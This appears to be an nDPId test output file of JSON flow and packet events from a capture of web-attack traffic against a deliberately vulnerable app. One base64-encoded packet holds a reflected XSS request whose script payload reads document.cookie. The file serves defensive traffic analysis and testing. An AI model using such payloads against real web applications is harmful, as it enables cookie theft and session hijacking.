+00444{"flow_id":606,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8582,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348002,"pkt_ts_usec":450186,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiHx5OBm2kGsJV6AScSAe7QAAAgQFtAQCCAoD5qvlATzacQEDAwc="} +00432{"flow_id":606,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8583,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348002,"pkt_ts_usec":450892,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00yhAAD4G8q+sEAABwKgKMoh8AFCQawlXeTgZt4AQAOW98wAAAQEICgE82nID5qvl"} +00432{"flow_id":603,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8587,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348002,"pkt_ts_usec":898410,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nDpAAD4GKZ6sEAABwKgKMohGAFAyaklOkBl5f4ARAOVqFQAAAQEICgE82uID5qbp"} +00433{"flow_id":603,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8588,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348002,"pkt_ts_usec":898601,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA01SlAAEAG7q7AqAoyrBAAAQBQiEaQGXl\/MmpJT4ARAONkqQAAAQEICgPmrFYBPNri"} +00432{"flow_id":603,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8589,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348002,"pkt_ts_usec":899383,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nDtAAD4GKZ2sEAABwKgKMohGAFAyaklPkBl5gIAQAOVkpwAAAQEICgE82uID5qxW"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8593,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":607,"flow_packet_id":1,"flow_first_seen":1499348003742,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34954,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":607,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8593,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348003,"pkt_ts_usec":742531,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Q\/NAAD4Ggd2sEAABwKgKMoiKAFCK7JhGAAAAAKACchDWBAAAAgQFtAQCCAoBPNu1AAAAAAEDAwc="} +00444{"flow_id":607,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8594,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348003,"pkt_ts_usec":742626,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiIrxrFQGiuyYR6AScSDgIAAAAgQFtAQCCAoD5q0pATzbtQEDAwc="} +00434{"flow_id":607,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8595,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348003,"pkt_ts_usec":743214,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Q\/RAAD4GgeSsEAABwKgKMoiKAFCK7JhH8axUB4AQAOV\/KAAAAQEICgE827UD5q0p"} +00433{"flow_id":604,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8599,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348003,"pkt_ts_usec":899356,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MQ5AAD4GlMqsEAABwKgKMohUAFBMT+e9\/qjmN4ARAOXUNQAAAQEICgE829wD5qgk"} +00433{"flow_id":604,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8600,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348003,"pkt_ts_usec":899571,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0S2dAAEAGeHHAqAoyrBAAAQBQiFT+qOY3TE\/nvoARAOPPCgAAAQEICgPmrVABPNvc"} +00433{"flow_id":604,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8601,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348003,"pkt_ts_usec":900302,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MQ9AAD4GlMmsEAABwKgKMohUAFBMT+e+\/qjmOIAQAOXPCAAAAQEICgE829wD5q1Q"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8611,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":608,"flow_packet_id":1,"flow_first_seen":1499348006334,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34980,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":608,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8611,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348006,"pkt_ts_usec":334523,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NJlAAD4GkTesEAABwKgKMoikAFAqsOqkAAAAAKACchDhQAAAAgQFtAQCCAoBPN49AAAAAAEDAwc="} +00444{"flow_id":608,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8612,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348006,"pkt_ts_usec":334694,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiKQqwf7AKrDqpaAScSAFBgAAAgQFtAQCCAoD5q+xATzePQEDAwc="} +00432{"flow_id":608,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8613,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348006,"pkt_ts_usec":335211,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NJpAAD4GkT6sEAABwKgKMoikAFAqsOqlKsH+wYAQAOWkDQAAAQEICgE83j0D5q+x"} +00432{"flow_id":605,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8620,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348006,"pkt_ts_usec":900310,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pkxAAD4GH4ysEAABwKgKMohuAFDUG39nCPfoeYARAOWiqwAAAQEICgE83soD5qqg"} +00433{"flow_id":605,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8621,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348006,"pkt_ts_usec":900522,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0WEdAAEAGa5HAqAoyrBAAAQBQiG4I9+h51Bt\/aIARAOOdDgAAAQEICgPmsD4BPN7K"} +00432{"flow_id":605,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8622,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348006,"pkt_ts_usec":901228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0pk1AAD4GH4usEAABwKgKMohuAFDUG39oCPfoeoAQAOWdDAAAAQEICgE83soD5rA+"} +00947{"flow_id":606,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8623,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":347280,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGz0ylAAD4G8S+sEAABwKgKMoh8AFCQawlXeTgZt4AYAOVoMwAAAQEICgE83zoD5qvlR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8623,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":606,"flow_packet_id":4,"flow_first_seen":1499348002450,"flow_last_seen":1499348007347,"flow_tot_l4_data_len":527,"flow_min_l4_data_len":32,"flow_max_l4_data_len":415,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34940,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00433{"flow_id":606,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8624,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":347401,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0qRlAAEAGGr\/AqAoyrBAAAQBQiHx5OBm3kGsK1oAQAOuy3QAAAQEICgPmsK4BPN86"} +02829{"flow_id":606,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8625,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":350540,"pkt_caplen":1837,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1837,"pkt_l4_len":1803,"pkt":"AMGxFOsxABm5CmnxCABFAAcfqRpAAEAGE9PAqAoyrBAAAQBQiHx5OBm3kGsK1oAYAOt9\/QAAAQEICgPmsK8BPN86SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMzOjI3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcbb2y+3XJoVtHAgsbfctix70kmRm7itwYmD7bTw72\/sOG14LdkioeKXeXk84xnP5N12+Mvga3\/07\/kRmplMoPOLw7PTPsIdQi4\/9gkZjAbox8noyxnqBh\/Q0CieGEKO\/sYIz4wp9glZLBbB4mMg1ZSMvpFbK6Vr2fywox1PkJoUR++2322HTs9tJnLde0JG99OnTxVrRb4VzhhNYbi1FWbMUGRZOuym5PMe7svcsNx0RncFwyipZj1s2K0hVsSfKJlRpZnpXYyOO39gRCqZW6HhRrDoeylypuiYC27u9tE3NhEsMSxFfSW1RkNuGBomiheG51O0+2M43EP7+2hAsxzVvIKhSzZGB0UheEINlznaHXy\/PNhD827Q\/YDeD9icCVlkAO19SCrFHoXg+TVSTPSwNneC6RljBiMDp\/GHSLTGaKbYpIeDgMBfOl9Qu0oyyvPAbZPH0jiYopbzH8\/olBFYui9pQueWLHAbSxnanbYJ4YrOabWKkVbJPSBX2v0\/BwXBlcZRSCpK7zniXWfHY5neoURQbb0uM4Yrl6Z8jnjaw9Z3cCKmvNcbW1ZIY30r5Nn0ERJ3SE2EnMqgyKcYUQEXYY2jVucGrKDukWpr5BgcVza0P9qLC5qmLK0OBASlqM9pdw+FTK6taQRHMk9A9XUPL3ieykUAWw5Hb6c6SbCDa1ZgoPfcFeDoBMwWEgpWFjzafo1AnkP0lYld0kExK16Q\/5AUR6eNlXZqIeDKYo2+JQ2OhnaICIQfLKLBYUMZKUW0gUHnjfjmcD3GqjSMvIDqaQYcHdr\/6FiqpKUHHgpktyxpA8DR46gvs4zmKTrNr5jzyGYoEq0mbVA4ekAx\/Ha8meIJJ8HnAkK1x4GzTNmaW\/IqfhwdcwjuU7uiN7ZNWQhJ0zbW8RwexoWbbegfWhh4uVq5yLO4uGVJqRjqH5yP+icHm0HRN4K3weHoIab\/OXury2olxmN43Fo5pcH1AA3aPbTLe5uhWjB6HfNWkGoWHF3CCA2ZtrcVnQ5apteHcm+1jlsBqRhwBPUM1Cpfv2xoCitONfRrVlVRr8KhahzL4usN0Oi21tA1iqGR6j6EDZ8gF4tQXa59DldkOLL1I9yPaqmdOYCf5xO5Rl2DCkfnJ+cQHRPZThEdy9KsUbOkwdGBHb6dWW2ht1b9ighHZ278AICv2O7Vfs8XgraEXRWC0MnYXa\/b7jULwXDW\/ZnuAkrmri+YG8Lnywo2TmTKYqoY9fXzRKoM5TSDah34oex1Ka6Hf8UIuqWZBOx\/HY18bRoW\/sSXM2p2NLqTpXLMn+vKOi\/KZvGPvWj7u6xvm0S6HGccyOZUlDAdVlOvjRRR1VQQi9Ituq5gaeBw9nv0BeLN3T6V0eqtgEW7590Dl2HlVtv7ad8vygXVhWsZ4YawW+tl4gzb0WDYeGnY2BkWuiGqptAIYngUaH6No5+XtbxErfEBdwxFgmEqPoKuCo4b96G9MfHQd34tMb4sbz1OlgcLfs0LlnLqRNtZ8+S6Pvnz2F4v42U8\/pjJlC9zYSIzm507E3oTuC8CT4J4BeOrNFc4qWDKdJ2EF9U9om7q8Mmluup14zhW0G5Wv3UGeSbj+LBPBKNqGUxPpSV9pw3LYpvKnwzPcWmMbXN9eH7nbIFOmCiWKbOQRVnENZnM+1XSXfX8+0BxUeyiZx7bOUiMZyDRXsfPAMk96b\/VjugJudhBezhCa2ENIRcl7G2BaSdzLTRrTSr4FNKmYBNIXyHLogvNlE17+yGBGaJpxnPvQpjXbzM6sx93PA1IXFHAo3o6GPqdlGubvdPai886dCKlufeto4g2+dhUPPWqNRMwse9W9VnOfTCL\/geoshewERQAAA=="} +00432{"flow_id":606,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8626,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":351219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00ypAAD4G8q2sEAABwKgKMoh8AFCQawrWeTggooAQAQCr2wAAAQEICgE83zsD5rCv"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8627,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":609,"flow_packet_id":1,"flow_first_seen":1499348007599,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34994,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":609,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8627,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":599846,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+WFAAD4GzG6sEAABwKgKMoiyAFBEayYYAAAAAKACchCKyAAAAgQFtAQCCAoBPN95AAAAAAEDAwc="} +00444{"flow_id":609,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8628,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":599986,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQiLJr5HteRGsmGaAScSDvkAAAAgQFtAQCCAoD5rDtATzfeQEDAwc="} +00432{"flow_id":609,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8629,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":600554,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+WJAAD4GzHWsEAABwKgKMoiyAFBEayYZa+R7X4AQAOWOmAAAAQEICgE833kD5rDt"} +01216{"flow_id":606,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8630,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":601652,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ90ytAAD4G8GOsEAABwKgKMoh8AFCQawrWeTggooAYAQC\/lAAAAQEICgE833kD5rCvR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdaQTVSVkEwQ1NGREVNT1Q1NjI1WVE1SDlVQTQzNDFLTlZNMkswUVhaUzM0Sk0zWEdUTSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02961{"flow_id":606,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8631,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348007,"pkt_ts_usec":605070,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeAqRxAAEAGE3DAqAoyrBAAAQBQiHx5OCCikGsNH4AYAPR+XgAAAQEICgPmsO4BPN95SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMzOjI3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNw0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye08bORD\/G6R+B59POqASa1LK6aDJViGBwhVayoZHq5NWzq6TGLzrxfYm8O1vvI9keYZtkFDw2vP4jWc8nvG75eYf3e+d3s+TPTQykUAnZ7tHhx2E1wm52OwQ0u110eVB7\/gINZwN5BnFA0PI3jeM8MiYZIeQyWTiTDYdqYakd0purZSGZSuG6zrjcUITYvfd8rvlZqbnNhKxbj0ho7G9vZ2z5uRLzRGjIQyXlpoRMxRZlnV2k\/JxC3dkbFhs1nt3CcMoyL9a2LBbQ6yITygYUaWZaZ319tf\/wYjkMpeahhvB3PNUxEzRPhfc3O2gUzYQLDAsRB0ltUYeNwx5geKJ4fEQrV563hra2UFdGsWo5BUMXbA+aieJ4AE1XMZotXt+0V5D44bT2EDvu2zMhEwigPa+SXLFBQrB42ukmGhhbe4E0yPGDEYGrCmMCLTGaKTYoIUdh8BfOJ5QO0siymMnWyaPpXHYilLOfzyiQ0Zg6r6kAR1bMidbmMrQmbVVCFd0TPNZjLQK7gG50tn\/E1DgXGnsNklOWXiOFK6z474M71AgqLZelxHDuUtDPkY8bGHrO7CIqcLrlSUrpDK\/1OTR8BGSzEhNhBxKJ4mHGFEBgTDHUTO7ASuoe6TabrIPjksr2h+t+QkNQxbmBgFBKko77equkMG13RrBkYwDUH3dwhMeh3LiwFKGo7WSW+Ks4JIVGOg9dznYPYBtaxIKuyy4u\/wagTyG05cGdko7ySh5Qf5DUuweVmbqqYUDlyZz9E1psOvZISJw\/GASdXcrykgq3AU2dFw53xzCo69Sw8gLqJ5mwO6u\/Y\/2pQpqeuChQHbLgjoAMnrsdmQU0ThEh\/EVyzyyGIpAq0EdFBk9oPBO9xdTPODE+ZzAUW1x4ExDNidKXsWP3X0Oh\/vQzuiF9yZNhKRhnd0pOAoYZ9nXgv6hiYGbq5aLCpbs3LIgVQx12ie9zkF7MSj6RvA6ODJ6ONM\/jt4qWK1Evw+XWy2nVLgeoEGru3Z6bTFUE0avfV4LUsmC3QsYIY9pG63osFszvT6Ue6u1XwtIzoBdqGegVvl+vOBWWHGqol+zvIp6FQ5V4pgWX2+ARtfdDV2i8IxU9yEseAVlZxGqy7nX4YwMu7Z+hPjIp+ptB\/DzeCDnqKtQYffk4AROx0DWU0T7MjVz1ExpsNu2w7fbVlvozVU\/I8LuUTZ+AKCo2O7Vfs8XgraEnRWC0MnY1UK3XasWgs1R43e6CyiZG0XBXBE+nlawfiBD5lPFaFE\/D6SKUEwjqNaBH8reLMW18J8YQbc0koD9y16vqE2bSWHxxYiaFY3uZKoy5s9lZR0nabX4x4Vo+zutb6tEOu1HHMjGVKTw6eWfhTaSuHlTQSzKHG+imHvAhJCoaDVcqPy1FAw8PFxd+dXeOj1vb3S8\/e7e8ffe1t8ftn7+2DrYPmt\/3PzY+Prt\/PjD140fl7+8zY\/\/Hm9efukdr6x9qkoIZZDaTssJpLzmbO3TtCUBOIplrpl5uDn64B7Dgc\/CX0U0v6xg0q4V8QHROIsr23zqomGVE6qTrGeFEGW3NsxI5tl1DZ71p571M89CO0bVEDpRDLcSja+x+\/uyplFcGx9w+1ClGKb8PWjrwFy\/A\/2V8b2i9ayJ8WV583Gy2Jnwa56wkNNMtP2qWq5Ly5\/H9noZL+MpzAyGfJqMAxnZ62F9QG+c7EniSRCvYHyV5hwnFUyZRibhRXWPqKs6iuyWh3rZufYV9Lv5b5nCnkl5Rd4JBKNqepqfyov6ThsW+fYueTI\/9FNjbJ9d5IdzziYIjn8yzdmJTNLEL8lk3Mmz\/uzRYQcozpJV9MxtPwaJ\/ggk2nD8DJCymuKv0hEtIScraA27aC4sD5JhwN4WmM5kzoVmd5MKPoS8LdgA8meTRe6ZZsrm3Z0mgS9Ew4jHhQvhuywO0JF9XSpoQOKMAm71w65XrIRc2+sjLL34rEMHUpp7jy2Ju8hrV\/LUtVpNwMRenPm7YPZi5\/4PD2jzQpIUAAA="} 